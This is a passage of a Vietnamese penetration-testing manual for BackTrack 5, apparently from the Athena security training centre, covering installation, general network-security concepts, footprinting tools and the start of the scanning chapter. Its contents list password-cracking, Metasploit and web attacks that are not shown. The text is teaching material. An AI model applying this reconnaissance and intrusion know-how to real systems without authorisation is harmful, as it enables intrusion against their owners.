106
1 TÀI LIỆU HƯỚNG DN VÀ SDNG BACKTRACK 5 ĐỂ KHAI THÁC LHNG MNG TI TRUNG TÂM ATHENA

Su Dung BackTrack 5 de Khai Thac Lo Hong Mang

  • Upload
    tan0710

  • View
    3.322

  • Download
    16

Embed Size (px)

Citation preview

1

TÀI LIỆU HƯỚNG DẪN VÀ SỬ DỤNG

BACKTRACK 5 ĐỂ KHAI THÁC LỖ HỔNG

MẠNG TẠI TRUNG TÂM ATHENA

2

LỜI MỞ ĐẦU

Đầu tiên, xin gởi lời cảm ơn chân thành đến thầy Võ Đỗ Thắng – Giám đốc

Trung tâm đào tạo và quản trị mạng – an ninh mạng Athena và thầy Lê Đình Nhân đã

nhiệt tình giúp đỡ để hoàn thành tài liệu này.

Cho gửi lời cảm ơn đến các anh chị nhân viên tư vấn – nhân viên hỗ trợ kỹ

thuật tại Trung tâm đào tạo và quản trị mạng Athena đã hỗ trợ và tạo điều kiện để hoàn

thành dự án an nin mạng đúng thời hạn được giao.

Trân trọng!

Nhóm thực hiện

Nguyễn Sơn Khê

Đỗ Tấn Phát

Nguyễn Cao Thắng

3

MỤC LỤC

Chương Mở Đầu : GIỚI THIỆU VỀ BACKTRACK 5 ..................................... 6

I. Giới thiệu ................................................................................................. 6

II. Mục đích .................................................................................................. 6

III. Nguồn tải Backtrack : .............................................................................. 7

IV. Cài đặt ...................................................................................................... 8

1. Live DVD ............................................................................................. 8

2. Install .................................................................................................... 8

Chương 1: TÌM HIỂU VẤN ĐỀ BẢO MẬT MẠNG LAN ............................ 16

I. Giới thiệu ............................................................................................... 16

II. Vấn đề bảo mật hệ thống và mạng ......................................................... 16

1. Các vấn dề chung về bảo mật hệ thống và mạng ............................... 16

2. Một số khái niệm và lịch sử bảo mật hệ thống ................................... 16

3. Các loại lỗ hổng bảo mật và phương thức tấn công mạng chủ yếu ... 17

Chương 2: FOOTPRINTING ........................................................................... 21

I. Giới thiệu về Footprinting ..................................................................... 21

II. Các bước thực hiện Footprinting ........................................................... 21

1. Xác định vùng hoạt đông của chúng ta .............................................. 21

2. Các thông tin có sẵn công khai ........................................................... 21

3. Whois và DNS Enumeration .............................................................. 21

4. Thăm dò DNS ..................................................................................... 22

5. Thăm dò mạng .................................................................................... 22

III. Phương pháp thực hiện Footprinting ..................................................... 22

IV. Các công cụ thực hiện Footprinting: ..................................................... 25

1. Sam Spade .......................................................................................... 25

2. Super Email Spider ............................................................................. 26

3. VitualRoute Trace .............................................................................. 27

4. Maltego ............................................................................................... 27

Chương 3: SCANNING ................................................................................... 28

4

I. Giới thiệu ............................................................................................... 28

II. Chứng năng ............................................................................................ 28

1. Xác định hệ thống có đang hoạt động hay không? ............................ 28

2. Xác định các dịch vụ đang chạy hoặc đang lắng nghe. ...................... 31

3. Xác định hệ điều hành ........................................................................ 37

Chương 4: ENUMERATION .......................................................................... 39

I. Enumeration là gì? ................................................................................. 39

II. Banner Grabbing .................................................................................... 39

III. Enumerating các dịch vụ mạng .............................................................. 39

1. Http fingerprinting .............................................................................. 39

2. DNS Enumeration .............................................................................. 42

3. Netbios name ...................................................................................... 44

Chương 5: PASSWORD CRACKING ............................................................ 45

I. Giới Thiệu .............................................................................................. 45

II. Các Kỹ Thuật Password Cracking ......................................................... 45

1. Dictionary Attacks/Hybrid Attacks .................................................... 45

2. Brute Forcing Attacks ........................................................................ 45

3. Syllable Attacks/Pre-Computed Hashes ............................................. 45

III. Các Kiểu Tấn Công Thường Gặp .......................................................... 45

1. Active Password Cracking ................................................................. 45

2. Passive Password Cracking ................................................................ 46

3. Offline Password Cracking ................................................................ 46

IV. Các công cụ Password Cracking ............................................................ 46

1. Hydra .................................................................................................. 46

2. Medusa ............................................................................................... 48

V. Password Cracking Trên Các Giao Thức .............................................. 51

1. HTTP (HyperText Tranfer Protocol) ................................................. 51

2. SSH (Secure Shell) ............................................................................. 58

3. SMB (Server Message Block) ............................................................ 61

4. RDP (Remote Desktop Protocol) ....................................................... 64

5

Chương 6: SYSTEM HACKING .................................................................... 67

I. GIỚI THIỆU VỀ METASPLOIT .......................................................... 67

1. Giới thiệu ............................................................................................ 67

2. Các thành phần của Metasploit .......................................................... 67

3. Sử dụng Metasploit Framework ......................................................... 67

4. Giới thiệu Payload Meterpreter .......................................................... 68

5. Cách phòng chống .............................................................................. 70

II. Lỗi MS10-046 (2286198) ...................................................................... 70

1. Giới thiệu ............................................................................................ 70

2. Các bước tấn công: ............................................................................. 71

3. Cách phòng chống .............................................................................. 79

III. Lỗi BYPASSUAC ................................................................................. 80

1. Giới thiệu ............................................................................................ 80

2. Các bước tấn công .............................................................................. 80

3. Cách phòng chống .............................................................................. 85

Chương 7: WEB HACKING VỚI DVWA ...................................................... 86

I. Giới thiệu ............................................................................................... 86

II. Hướng dẫn cài đặt DVWA trên Backtrack ............................................ 86

1. Tải và cài đặt XAMPP ........................................................................ 86

2. Tải và cài đặt DVWA ......................................................................... 88

III. Các kĩ thuật tấn công trên DVWA ......................................................... 92

1. XSS (Cross-Site Scripting) ................................................................. 92

2. SQL Injection ................................................................................... 100

TÀI LIỆU THAM KHẢO ................................................................................ 106

6

Chương Mở Đầu : GIỚI THIỆU VỀ BACKTRACK 5

I. Giới thiệu

Backtrack là một bản phân phối dạng Live DVD của Linux, được phát triển để thử

nghiệm thâm nhập. Trong các định dạng Live DVD, chúng ta sử dụng có thể

Backtrack trực tiếp từ đĩa DVD mà không cần cài nó vào máy của chúng ta. Backtrack

cũng có thể được cài đặt vào ổ cứng và sử dụng như một hệ điều hành. Backtrack là sự

hợp nhất giữa 3 bản phân phối khác nhau của Linux về thâm nhập thử nghiệm -

IWHAX, WHOPPIX, và Auditor. Trong phiên bản hiện tại của nó (5), Backtrack được

dựa trên phiên bản phân phối Linux Ubuntu 11.10. Tính đến ngày 19 tháng bảy năm

2010, Backtrack 5 đã được tải về của hơn 1,5 triệu người sử dụng. Phiên bản mới nhất

là Backtrack 5 R2

II. Mục đích

Công cụ Backtrack đã có lịch sử phát triển khá lâu qua nhiều bản linux khác

nhau. Phiên bản hiện nay sử dụng bản phân phối Slackware linux (Tomas M.

(www.slax.org)). Backtrack liên tục cập nhật các công cụ, drivers,... hiện tại Backtrack

có trên 300 công cụ phục vụ cho việc nghiên cứu bảo mật. Backtrack là sự kết hợp

giữa 2 bộ công cụ kiểm thử bảo mật rất nổi tiếng là Whax và Auditor.

Backtrack 5 chứa một số công cụ có thể được sử dụng trong quá trình thử

nghiệm thâm nhập của chúng ta. Các công cụ kiểm tra thâm nhập trong Backtrack 5,0

có thể được phân loại như sau:

Information gathering: loại này có chứa một số công cụ có thể được sử

dụng để có được thông tin liên quan đến một mục tiêu DNS, định tuyến, địa

chỉ e-mail, trang web, máy chủ mail, và như vậy. Thông tin này được thu

thập từ các thông tin có sẵn trên Internet, mà không cần chạm vào môi

trường mục tiêu.

Network mapping: loại này chứa các công cụ có thể được sử dụng để kiểm

tra các host đang tồn tại, thông tin về OS, ứng dụng được sử dụng bởi mục

tiêu, và cũng làm portscanning.

Vulnerability identification: Trong thể loại này, chúng ta có thể tìm thấy các

công cụ để quét các lỗ hổng (tổng hợp) và trong các thiết bị Cisco. Nó cũng

chứa các công cụ để thực hiện và phân tích Server Message Block (SMB) và

Simple Network Management Protocol (SNMP).

Web application analysis: loại này chứa các công cụ có thể được sử dụng

trong theo dõi, giám sát các ứng dụng web

7

Radio network analysis: Để kiểm tra mạng không dây, bluetooth và nhận

dạng tần số vô tuyến (RFID), chúng ta có thể sử dụng các công cụ trong thể

loại này.

Penetration: loại này chứa các công cụ có thể được sử dụng để khai thác các

lỗ hổng tìm thấy trong các máy tính mục tiêu

Privilege escalation: Sau khi khai thác các lỗ hổng và được truy cập vào các

máy tính mục tiêu, chúng ta có thể sử dụng các công cụ trong loại này để

nâng cao đặc quyền của chúng ta cho các đặc quyền cao nhất.

Maintaining access: Công cụ trong loại này sẽ có thể giúp chúng ta trong

việc duy trì quyền truy cập vào các máy tính mục tiêu. Chúng ta có thể cần

để có được những đặc quyền cao nhất trước khi các chúng ta có thể cài đặt

công cụ để duy trì quyền truy cập

Voice Over IP (VOIP): Để phân tích VOIP chúng ta có thể sử dụng các công

cụ trong thể loại này

Digital forensics: Trong loại này, chúng ta có thể tìm thấy một số công cụ có

thể được sử dụng để làm phân tích kỹ thuật như có được hình ảnh đĩa cứng,

cấu trúc các tập tin, và phân tích hình ảnh đĩa cứng. Để sử dụng các công cụ

cung cấp trong thể loại này, chúng ta có thể chọn Start Backtrack Forensics

trong trình đơn khởi động. Đôi khi sẽ đòi hỏi chúng ta phải gắn kết nội bộ đĩa

cứng và các tập tin trao đổi trong chế độ chỉ đọc để bảo tồn tính toàn vẹn.

Reverse engineering: Thể loại này chứa các công cụ có thể được sử dụng để

gỡ rối chương trình một hoặc tháo rời một tập tin thực thi.

III. Nguồn tải Backtrack :

Chúng ta có thể tải bản Backtrack 5 tại địa chỉ: www.backtrack-linux.org/downloads/

Có bản cho Vmware và file ISO

8

IV. Cài đặt

1. Live DVD

Nếu chúng ta muốn sử dụng Backtrack mà không cần cài nó vào ổ cứng, chúng

ta có thể ghi tập tin ảnh ISO vào đĩa DVD, và khởi động máy tính của chúng ta với

DVD. Backtrack sau đó sẽ chạy từ đĩa DVD. Lợi thế của việc sử dụng Backtrack là

một DVD Live là nó là rất dễ dàng để làm và chúng ta không cần phải gây rối với cấu

hình máy hiện tại của chúng ta.

Tuy nhiên, phương pháp này cũng có một số nhược điểm. Backtrack có thể

không làm việc với phần cứng, và thay đổi cấu hình nào được thực hiện trên phần

cứng để làm việc sẽ không được lưu với đĩa DVD Live. Ngoài ra, nó là chậm, vì máy

tính cần phải tải các chương trình từ đĩa DVD.

2. Install

a) Cài đặt trong máy thật:

Chúng ta cần chuẩn bị một phân vùng để cài đặt Backtrack. Sau đó chạy

Backtrack Live DVD. Khi gặp màn hình login

Ta sử dụng username là root, pass là toor. Sau đó để vào chế độ đồ họa, ta gõ

startx và ta sẽ vào chế độ đồ họa của Backtrack 5.

Để cài đặt Backtrack 5 đến đĩa cứng ta chọn tập tin có tên install.sh trên desktop

và tiến hành cài đặt. Tuy nhiên, nếu không thể tìm thấy tập tin, chúng ta có thể sử dụng

ubiquity để cài đặt. Để sử dụng ubiquity, ta mở Terminal gõ ubiquity.

9

Sau đó cửa sổ cài đặt sẽ hiển thị. Sau đó trả lời 1 số câu hỏi như thành phố chúng ta

đang sống, keyboard layout, phân vùng ổ đĩa cài đặt,… Sau đó tiến hành cài đặt.

b) Cài đặt trong máy ảo:

Điểm thuận lợi là ta không cần chuẩn bị một phân vùng cho Backtrack, và sử

dụng đồng thời một OS khác. Khuyết điểm là tốc độ chậm, không dùng được wireless

trừ USB wireless.

Ta có thể có thể sử dụng file VMWare được cung cấp bởi BackTrack. Từ đây

chúng ta có BackTrack trên máy ảo thật dễ dàng và nhanh chóng. Cấu hình trong file

VMWare là memory 768MB, hardisk :30GB, Network:NAT. Để sử dụng được card

mạng thật, ta phải chọn Netword là Briged

Dưới đây làm một số hình ảnh khi cài BackTrack trên máy ảo VMWare

Tạo một máy ảo mới và cho đia BackTrack vào.

10

Giao diện khởi động của BackTrack

11

Gõ startx để vào chế độ đồ họa trong BackTrack

Để cài đặt, click chọn vào file Install BackTrack trên màn hình Desktop

12

Chọn ngôn ngữ, chọn Forward để tiếp tục

Chọn nơi ở của chúng ta, chọn Forward để tiếp tục

13

Chọn ngôn ngữ bàn phím, chọn Forward để tiếp tục

Chọn phân vùng để cài.

14

Nhấn Install để bắt đầu cài

Quá trình cài đã bắt đầu.

15

Sau khi hoàn tất, chỉ việc khởi động lại là xong.

16

Chương 1: TÌM HIỂU VẤN ĐỀ BẢO MẬT MẠNG LAN

I. Giới thiệu

An ninh an toàn mạng máy tính hoàn toàn là vấn đề con người, do đó việc đưa

ra mộthành lang pháp lý và các quy nguyên tắc làm việc cụ thể là cần thiết. Ở đây,

hànhlang pháp lý có thể gồm: các điều khoản trong bộ luật của nhà nước, các văn

bảndưới luật,... Còn các quy định có thể do từng tổ chức đặt ra cho phù hợp với

từngđặc điểm riêng. Các quy định có thể như: quy định về nhân sự, việc sử dụng

máy,sử dụng phần mềm,... Và như vậy, sẽ hiệu quả nhất trong việc đảm bảo an ninh

antoàn cho hệ thống mạng máy tính một khi ta thực hiện triệt để giải pháp về

chínhsách con người.Tóm lại, vấn đề an ninh an toàn mạng máy tính là một vấn đề

lớn, nó yêucầu cần phải có một giải pháp tổng thể, không chỉ phần mềm, phần cứng

máy tínhmà nó đòi hỏi cả vấn đề chính sách về con người. Và vấn đề này cần phải

đượcthực hiện một cách thường xuyên liên tục, không bao giờ triệt để được vì nó

luônnảy sinh theo thời gian. Tuy nhiên, bằng các giải pháp tổng thể hợp lý, đặc biệt

làgiải quyết tốt vấn đề chính sách về con người ta có thể tạo ra cho mình sự an

toànchắc chắn hơn.

II. Vấn đề bảo mật hệ thống và mạng

1. Các vấn dề chung về bảo mật hệ thống và mạng

Đặc điểm chung của một hệ thống mạng là có nhiều người sử dụng chung

và phân tán về mặt địa lý nên việc bảo vệ tài nguyên (mất mát hoặc sử dụng không

hợp lệ) phức tạp hơn nhiều so với việc môi trường một máy tính đơn lẻ, hoặc

mộtngười sử dụng.Hoạt động của người quản trị hệ thống mạng phải đảm bảo các

thông tin trênmạng là tin cậy và sử dụng đúng mục đích, đối tượng đồng thời đảm bảo

mạng hoạtđộng ổn định không bị tấn công bởi những kẻ phá hoại. Nhưng trên thực tế

là không một mạng nào đảm bảo là an toàn tuyệt đối, mộthệ thống dù được bảo vệ

chắc chắn đến mức nào thì cũng có lúc bị vô hiệu hóa bởinhững kẻ có ý đồ xấu.

2. Một số khái niệm và lịch sử bảo mật hệ thống

a) Đối tượng tấn công mạng (intruder)

Đối tượng là những cá nhân hoặc tổ chức sử dụng những kiến thức về

mạngvà các công cụ phá hoại (gồm phần cứng hoặc phần mềm) để dò tìm các điểm

yếuvà các lỗ hổng bảo mật trên hệ thống, thực hiện các hoạt động xâm nhập và

chiếmđoạt tài nguyên trái phép.Một số đối tượng tấn công mạng như:Hacker: là những

kẻ xâm nhập vào mạng trái phép bằng cách sử dụng cáccông cụ phá mật khẩu hoặc

khai thác các điểm yếu của thành phần truy nhập trên hệthốngMasquerader : Là những

17

kẻ giả mạo thông tin trên mạng như giả mạo địa chỉIP, tên miền, định danh người

dùng…Eavesdropping: Là những đối tượng nghe trộm thông tin trên mạng, sử

dụngcác công cụ Sniffer, sau đó dùng các công cụ phân tích và debug để lấy được

cácthông tin có giá trị. Những đối tượng tấn công mạng có thể nhằm nhiều mục đích

khác nhau nhưăn cắp các thông tin có giá trị về kinh tế, phá hoại hệ thống mạng có chủ

định, hoặccó thể đó là những hành động vô ý thức…

b) Các lỗ hổng bảo mật

Các lỗ hổng bảo mật là những điểm yếu trên hệ thống hoặc ẩn chứa

trongmột dịch vụ mà dựa vào đó kẻ tấn công có thể xâm nhập trái phép vào hệ thống

đểthực hiện những hành động phá hoại chiếm đoạt tài nguyên bất hợp pháp.Có nhiều

nguyên nhân gây ra những lỗ hổng bảo mật: có thể do lỗi của bảnthân hệ thống, hoặc

phần mềm cung cấp hoặc người quản trị yếu kém không hiểusâu về các dịch vụ cung

cấp…Mức độ ảnh hưởng của các lỗ hổng tới hệ thống là khác nhau. Có lỗ hổngchỉ ảnh

hưởng tới chất lượng dịch vụ cung cấp, có lỗ hổng ảnh hưởng tới toàn bộ hệthống hoặc

phá hủy hệ thống

c) Chính sách bảo mật

Chính sách bảo mật là tập hợp các quy tắc áp dụng cho những người

thamgia quản trị mạng, có sử dụng các tài nguyên và các dịch vụ mạng.

Đối với từng trường hợp phải có chính sách bảo mật khác nhau. Chính

sách bảo mật giúp người sử dụng biết trách nhiệm của mình trong việc

bảo vệ các tàinguyên trên mạng, đồng thời còn giúp cho nhà quản trị mạng thiết lập

các biên phápđảm bảo hữu hiệu trong quá trình trang bị, cấu hình và kiểm soát hoạt

động của hệthống và mạng.

3. Các loại lỗ hổng bảo mật và phương thức tấn công mạng chủ yếu

a) Các loại lỗ hổng

Có nhiều các tổ chức đã tiến hành phân loại các dạng lỗ hổng đặc biệt.

Theo bộ quốc phòng Mỹ các loại lỗ hổng được phân làm ba loại như sau:

Lỗ hổng loại C

Cho phép thực hiện các hình thức tấn công theo DoS(Denial of Services- Từ

chối dịch vụ) Mức độ nguy hiểm thấp chỉ ảnh hưởng tớichất lượng dịch vụ, làm ngưng

trệ, gián đoạn hệ thống, không làm phá hỏng dữ liệuhoặc đạt được quyền truy cập bất

hợp pháp.DoS là hình thức tấn công sử dụng các giao thức ở tầng Internet trong bộgiao

thức TCP/IP để làm hệ thống ngưng trệ dẫn đến tình trạng từ chối người sửdụng hợp

pháp truy nhập hay sử dụng hệ thống.Các dịch vụ có lỗ hổng cho phép các cuộc tấn

công DoS có thể được nângcấp hoặc sửa chữa bằng các phiên bản mới hơn của các nhà

18

cung cấp dịch vụ. Hiệnnay chưa có một biện pháp hữu hiệu nào để khắc phục tình

trạng tấn công kiểu nàyvì bản thân thiết kế ở tầng Internet (IP) nói riêng và bộ giao

thức TCP/IP nói chungđã ẩn chứa những nguy cơ tiềm tang của các lỗ hổng loại này.

Lỗ hổng loại B:

Cho phép người sử dụng có thêm các quyền trên hệ thống mà không cần kiểm

tra tính hợp lệ dẫn đến mất mát thông tin yêu cầu cần bảo mật.Lỗ hổng này thường có

trong các ứng dụng trên hệ thống . Có mức độ nguy hiểm là trung bình.Lỗ hổng loại B

này có mức độ nguy hiểm hơn lỗ hổng loại C. Cho phépngười sử dụng nội bộ có thể

chiếm được quyền cao hơn hoặc truy nhậpkhônghợp pháp.

Những lỗ hổng loại này thường xuất hiện trong các dịch vụ trên hệ thống. Ngườ

sử dụng local được hiểu là người đã có quyền truy nhập vào hệ thống vớimột số quyền

hạn nhất định. Tìm hiểu vấn đề bảo mật mạng LAN. Một dạng khác của lỗ hổng loại B

xảy ra với các chương trình viết bằng mã nguồn C. Những chương trình viết bằng mã

nguồn C thường sử dụng một vùngđệm, một vùng trong bộ nhớ sử dụng để lưu trữ dữ

liệu trước khi xử lý. Người lậptrình thường sử dụng vùng đệm trong bộ nhớ trước khi

gán một khoảng không gian bộ nhớ cho từng khối dữ liệu. Ví dụ khi viết chương trình

nhập trường tên người sửdụng quy định trường này dài 20 ký tự bằng khai báo:Char

first_name [20]; Khai báo này cho phép người sử dụng nhập tối đa 20ký tự. Khi nhập

dữ liệu ban đầu dữ liệu được lưu ở vùng đệm. Khi người sử dụngnhập nhiều hơn 20 ký

tự sẽ tràn vùng đệm. Những ký tự nhập thừa sẽ nằm ngoàivùng đệm khiến ta không thể

kiểm soát được. Nhưng đối với những kẻ tấn côngchúng có thể lợi dụng những lỗ hổng

này để nhập vào những ký tự đặc biệt để thựcthi một số lệnh đặc biệt trên hệ thống.

Thông thường những lỗ hổng này được lợidụng bởi những người sử dụng trên hệ

thống để đạt được quyền root không hợp lệ.Để hạn chế được các lỗ hổng loại B phải

kiêm soát chặt chẽ cấu hình hệ thống vàcác chương trình.

Lỗ hổng loại A

Cho phép người ngoài hệ thống có thể truy cập bất hợp phápvào hệ thống. Có

thể làm phá huỷ toàn bộ hệ thống. Loại lỗ hổng này có mức độ rấtnguy hiểm đe dọa

tính toàn vẹn và bảo mật của hệ thống. Các lỗ hổng này thườngxuất hiện ở những hệ

thống quản trị yếu kém hoặc không kiểm soát được cấu hìnhmạng. Những lỗ hổng loại

này hết sức nguy hiểm vì nó đã tồn tại sẵn có trên phầnmềm sử dụng, người quản trị

nếu không hiểu sâu về dịch vụ và phần mềm sử dụngcó thể bỏ qua điểm yếu này. Vì

vậy thường xuyên phải kiểm tra các thông báo củacác nhóm tin về bảo mật trên mạng

để phát hiện những lỗ hổng loại này. Một loạtcác chương trình phiên bản cũ thường sử

dụng có những lỗ hổng loại A như: FTP,Gopher, Telnet, Sendmail, ARP, finger.

19

b) Các hình thức tấn công mạng phổ biến

Scanner

Scanner là một chương trình tự động rà soát và phát hiện những điểm yếu về

bảo mật trên một trạm làm việc cục bộ hoặc một trạm ở xa. Một kẻ phá hoại sử dụng

chương trình Scanner có thể phát hiện ra những lỗ hổng về bảo mật trên mộtServer dù

ở xa.Cơ chế hoạt động là rà soát và phát hiện những cổng TCP/UDP được sử dụng trên

hệ thống cần tấn công và các dịch vụ sử dụng trên hệ thống đó. Scanner ghi lại những

đáp ứng trên hệ thống từ xa tương ứng với dịch vụ mà nó phát hiệnra. Từ đó nó có thể

tìm ra điêm yếu của hệ thống. Những yếu tố để một Scanner hoạt động như sau:Yêu

cầu thiết bị và hệ thống: Môi trường có hỗ trợ TCP/IPHệ thống phải kết nối vào mạng

Internet.Các chương trình Scanner có vai trò quan trọng trong một hệ thống bảo mật,vì

chúng có khả năng phát hiện ra những điểm yếu kém trên một hệ thống mạng.

Password Cracker

Là một chương trình có khả năng giải mã một mật khẩu đã được mã hoáhoặc có

thể vô hiệu hoá chức năng bảo vệ mật khẩu của một hệ thống.Một số chương trình phá

khoá có nguyên tắc hoạt động khác nhau. Một sốchương trình tạo ra danh sách các từ

giới hạn, áp dụng một số thuật toán mã hoá từ kết quả so sánh với Password đã mã hoá

cần bẻ khoá để tạo ra một danh sách kháctheo một logic của chương trình.Khi thấy

phù hợp với mật khẩu đã mã hoá, kẻ phá hoại đã có được mật khẩudưới dạng text .

Mật khẩu text thông thường sẽ được ghi vào một file.Biện pháp khắc phục đối với

cách thức phá hoại này là cần xây dựng mộtchính sách bảo vệ mật khẩu đúng đắn.

Sniffer

Sniffer là các công cụ (phần cứng hoặc phần mềm)”bắt ”các thông tin

lưuchuyển trên mạng và lấy các thông tin có giá trị trao đổi trên mạng.Sniffer có thể

“bắt” được các thông tin trao đổi giữa nhiều trạm làm việc vớinhau. Thực hiện bắt các

gói tin từ tầng IP trở xuống. Giao thức ở tầng IP được địnhnghĩa công khai, và cấu trúc

các trường header rõ ràng, nên việc giải mã các gói tin này không khó khăn.

Mục đích của các chương trình sniffer đó là thiết lập chế độ promiscuous(mode

dùng chung) trên các card mạng ethernet - nơi các gói tin trao đổi trongmạng - từ đó

"bắt" được thông tin.Các thiết bị sniffer có thể bắt được toàn bộ thông tin trao đổi trên

mạng làdựa vào nguyên tắc broadcast (quảng bá) các gọi tin trong mạng Ethernet.Tuy

nhiên việc thiết lập một hệ thống sniffer không phải đơn giản vì cần phải xâm nhập

được vào hệ thống mạng đó và cài đặt các phần mềm sniffer.Đồng thời các chương

trình sniffer cũng yêu cầu người sử dụng phải hiểusâu về kiến trúc, các giao thức

mạng.Việc phát hiện hệ thống bị sniffer không phải đơn giản, vì sniffer hoạt độngở

tầng rất thấp, và không ảnh hưởng tới các ứng dụng cũng như các dịch vụ hệthống đó

20

cung cấp.Tuy nhiên việc xây dựng các biện pháp hạn chế sniffer cũng không quá

khókhăn nếu ta tuân thủ các nguyên tắc về bảo mật như:

Không cho người lạ truy nhập vào các thiết bị trên hệ thống

Quản lý cấu hình hệ thống chặt chẽ

Thiết lập các kết nối có tính bảo mật cao thông qua các cơ chế mã hoá.

Trojans

Trojans là một chương trình chạy không hợp lệ trên một hệ thống. Với vaitrò

như một chương trình hợp pháp. Trojans này có thể chạy được là do các chươngtrình

hợp pháp đã bị thay đổi mã của nó thành mã bất hợp pháp.Ví dụ như các chương trình

virus là loại điển hình của Trojans. Nhữngchương trình virus thường che dấu các đoạn

mã trong các chương trình sử dụng hợp pháp. Khi những chương trình này được kích

hoạt thì những đoạn mã ẩn dấu sẽthực thi và chúng thực hiện một số chức năng mà

người sử dụng không biết như: ăncắp mật khẩu hoặc copy file mà người sử dụng như

ta thường không hay biết.Một chương trình Trojans sẽ thực hiện một trong những công

việc sau:

Thực hiện một vài chức năng hoặc giúp người lập trình lên nó phát hiệnnhững

thông tin quan trọng hoặc những thông tin cá nhân trên một hệ thống hoặcchỉ trên một

vài thành phần của hệ thống đó.

Che dấu một vài chức năng hoặc là giúp người lập trình phát hiện nhữngthông

tin quan trọng hoặc những thông tin cá nhân trên một hệ thống hoặc chỉ trênmột vài

thành phần của hệ thống. Ngoài ra còn có các chương trình Trojan có thể thực hiện

đựợc cả hai chức năngnày. Có chương trình Trojan còn có thể phá hủy hệ thống bằng

cách phá hoại cácthông tin trên ổ cứng. Nhưng ngày nay các Trojans kiểu này dễ dàng

bị phát hiện vàkhó phát huy được tác dụng.Tuy nhiên có những trường hợp nghiêm

trọng hơn những kẻ tấn công tạo ranhững lỗ hổng bảo mật thông qua Trojans và kẻ tấn

công lấy được quyền root trênhệ thống và lợi dụng quyền đó để phá hủy một phần

hoặc toàn bộ hệ thống hoặcdùng quyền root để thay đổi logfile, cài đặt các chương

trình trojans khác mà ngườiquản trị không thể phát hiện được gây ra mức độ ảnh

hưởng rất nghiêm trọng vàngười quản trị chỉ còn cách cài đặt lại toàn bộ hệ thống.

21

Chương 2: FOOTPRINTING

I. Giới thiệu về Footprinting

Là một kỹ thuật tìm kiếm thông tin về một danh nghiệp, cá nhân hay tổ

chức.

Một trong 3 giai đoạn cần phải làm để thực hiện một cuộc tấn công.

Một kẻ tấn công dành 90% để thực hiện việc thu thập và tiềm kiếm

thông tin và 10% để thực hiện tấn công.

Kết quả của quá trình Footprinting là lấy được thông tin cơ bản của mục

tiêu tấn công: Tên, đỉa chỉ công ty, website, các thành viên trong công ty,

sơ đồ mạng,…

Các thông tin cần tìm kiếm:

Internet: Domain, Network blocks, IP, TCP hay UDP, System

Enumeration, ACLs, IDSes,…

Intranet

Remote access: Remote system type,…

Extranet: Connection origination and destination,…

II. Các bước thực hiện Footprinting

Bao gồm các bước sau:

1. Xác định vùng hoạt đông của chúng ta

Thứ đầu tiên trong kinh doanh là để xác định vùng hoạt động của các hoạt động

footprinting của chúng ta. Nó có thể là một nhiệm vụ nản lòng để xác định tất cả các

thực thể trong một tổ chức nào đó. Tuy nhiên, hacker chẳng thông cảm cho cuộc chiến

của chúng ta. Họ khai thác các điểm yếu trong bất cứ các biểu mẫu nào. Chúng ta

không muốn hacker biết nhiều về tình trạng bảo mật của chúng ta.

2. Các thông tin có sẵn công khai

Lượng thông tin mà nó sẵn sàng sẵn có cho chúng ta, tổ chức chúng ta và bất cứ

những gì chúng ta có thể hình dung thì chẳng là gì thiếu tính tuyệt vời.

Những thông tin có thể bao gồm: trang web của công ty; các tổ chức quan hệ; vị

trí tọa lạc; thông tin chi tiết vê nhân viên; các sự kiện hiện tại; các chính sách bảo mật

và sự riêng tư….

3. Whois và DNS Enumeration

Xem chi tiết thông tin về địa chỉ IP, name server, dns server…

22

4. Thăm dò DNS

Sau khi xác định tất cả các domain có liên quan, chúng ta bắt đầu truy vấn

DNS. DNS là một cơ sở dữ liệu phân tán dùng để ánh xạ các địa chỉ IP thành

hostname. Nếu DNS không được cấu hình một cách bảo mật, rất có khả năng lấy được

các thông tin bi lộ từ tổ chức.

5. Thăm dò mạng

Bây giờ thì chúng ta đã xác định được các mạng tiềm năng, chúng ta có thể xác

định mô hình mạng cũng như đường truy cập có khả năng vào mạng

III. Phương pháp thực hiện Footprinting

Có 2 phương pháp thực Footprinting:

Active Footprinting: liên hệ trực tiếp với mục tiêu, tìm hiễu thông tin

cần thiết

Passive Footprinting: Tìm kiếm thông qua các bài báo, trang web,

hoặc từ các đối thủ mục tiêu,…

Website: www.google.com ,

http://whois.domaintools.comwww.whois.net , www.tenmien.vn ,

www.arcchive.org ,…

23

Whois : athena.com.vn

24

Tenmien.vn

25

Archive: http://www.microsoft.com

IV. Các công cụ thực hiện Footprinting:

Sam Spade, Super email spider, VitualRoute Trace, Google Earth, Whois, Site

Digger, Maltego,…

1. Sam Spade

Cho phép người sử dụng có thể thực hiện các hành động: Ping, Nslookup,

Whois, Traceroute,…

26

2. Super Email Spider

Tìm kiếm thông tin về địa chỉ email của cơ quan tổ chức sử dụng Search

Engine: Google, Lycos, iWon, Exiter, Hotbot, MSN, AOL,…

27

3. VitualRoute Trace

Hiện thị các đường nối kết, địa chỉ, khu vực đường kết nối đi qua.

4. Maltego

Là công cụ dùng để phát hiện các liên kết giữa: Người sử dụng, cơ quan, tổ

chức, website, domain, dải mạng, địa chỉ IP,…

28

Chương 3: SCANNING

I. Giới thiệu

Nếu footprinting là việc xác định nguồn thông tin đang ở đâu thì scanning là

việc tìm ra tất cả các cánh cửa để xâm nhập vào nguồn thông tin đó. Trong quá trình

footprinting, chúng ta đã đạt được danh sách dãy mạng IP và địa chỉ IP thông qua

nhiều kỹ thuật khác nhau bao gồm whois và truy vấn ARIN. Kỹ thuật này cung cấp

cho nhà quản trị bảo mật cũng như hacker nhiều thông tin co giá trị về mạng đích, dãy

IP, DNS servers và mail servers. Trong chương này, chúng ta sẽ xác định xem hệ

thống nào đang lắng nghe trên giao thông mạng và có thể bắt được qua việc sử dụng

nhiều công cụ và kỹ thuật như ping sweeps, port scan. Chúng ta có thể dễ dàng vượt

tường lửa bằng tay (bypass firewalls) để scan các hệ thống giả sử như nó đang bị khóa

bới chính sách trích lọc (filtering rules).

II. Chứng năng

1. Xác định hệ thống có đang hoạt động hay không?

Một trong những bước cớ bản lập ra một mạng nào đó là ping sweep trên một

dãy mạng và IP để xác định các thiết bị hoặc hệ thống có đang hoạt động hay không.

Ping thường được dùng để gửi các gói tin ICMP ECHO tới hệ thống đích và cố gắng

nhận được một ICMP ECHO REPLY để biết hệ thống đó đang hoạt động. Ping có thể

được chấp nhận để xác định số lượng hệ thống còn sống có trong mạng trong mạng

vứa và nhỏ ( Lớp C có 254 và B có 65534 địa chỉ) và chúng ta có thể mất hàng giờ,

hàng ngày để hoàn thành cho nhánh mạng lớp A 16277214 địa chỉ.

a) Netword Ping Sweeps

